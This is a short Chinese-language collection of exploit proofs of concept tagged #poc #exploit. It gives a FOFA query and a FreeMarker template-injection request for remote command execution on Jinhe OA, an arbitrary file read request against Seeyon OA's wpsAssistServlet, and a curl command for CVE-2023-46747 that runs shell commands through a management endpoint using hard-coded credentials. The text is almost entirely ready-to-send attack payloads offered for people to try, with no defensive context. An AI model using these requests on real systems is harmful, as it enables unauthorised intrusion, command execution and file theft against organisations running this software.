金和Oa  远程命令执行

fofa app="金和网络-金和OA"

POST /jc6/platform/portalwb/portalwb-con-template!viewConTemplate.action HTTP/1.1
Host: 127.1.1.1
Accept-Encoding: gzip
Content-Type: application/x-www-form-urlencoded

moduId=1&code=%253Cclob%253E%2524%257B%2522freemarker.template.utility.Execute%2522%253Fnew%28%29%28%2522ipconfig%2522%29%257D%253C%252Fclob%253E&uuid=1

ipconfig

#poc #exploit

一些小玩意大家自己可以玩一下，实战没多大意义

致远OA wpsAssistServlet任意文件读取漏洞

POST /seeyon/wpsAssistServlet HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept: /
Connection: Keep-Alive
Content-Length: 47
Content-Type: application/x-www-form-urlencoded

flag=template&templateUrl=C:/windows/system.ini

#poc #exploit

CVE-2023-46747-POC

curl -sk -u 'ali:ali' -H 'Content-Type: application/json' -X POST \

-d '{"command": "run", "utilCmdArgs": "-c \"whoami\""}' \

https:///$IP:$PORT/mgmt/tm/util/bash

#poc #exploit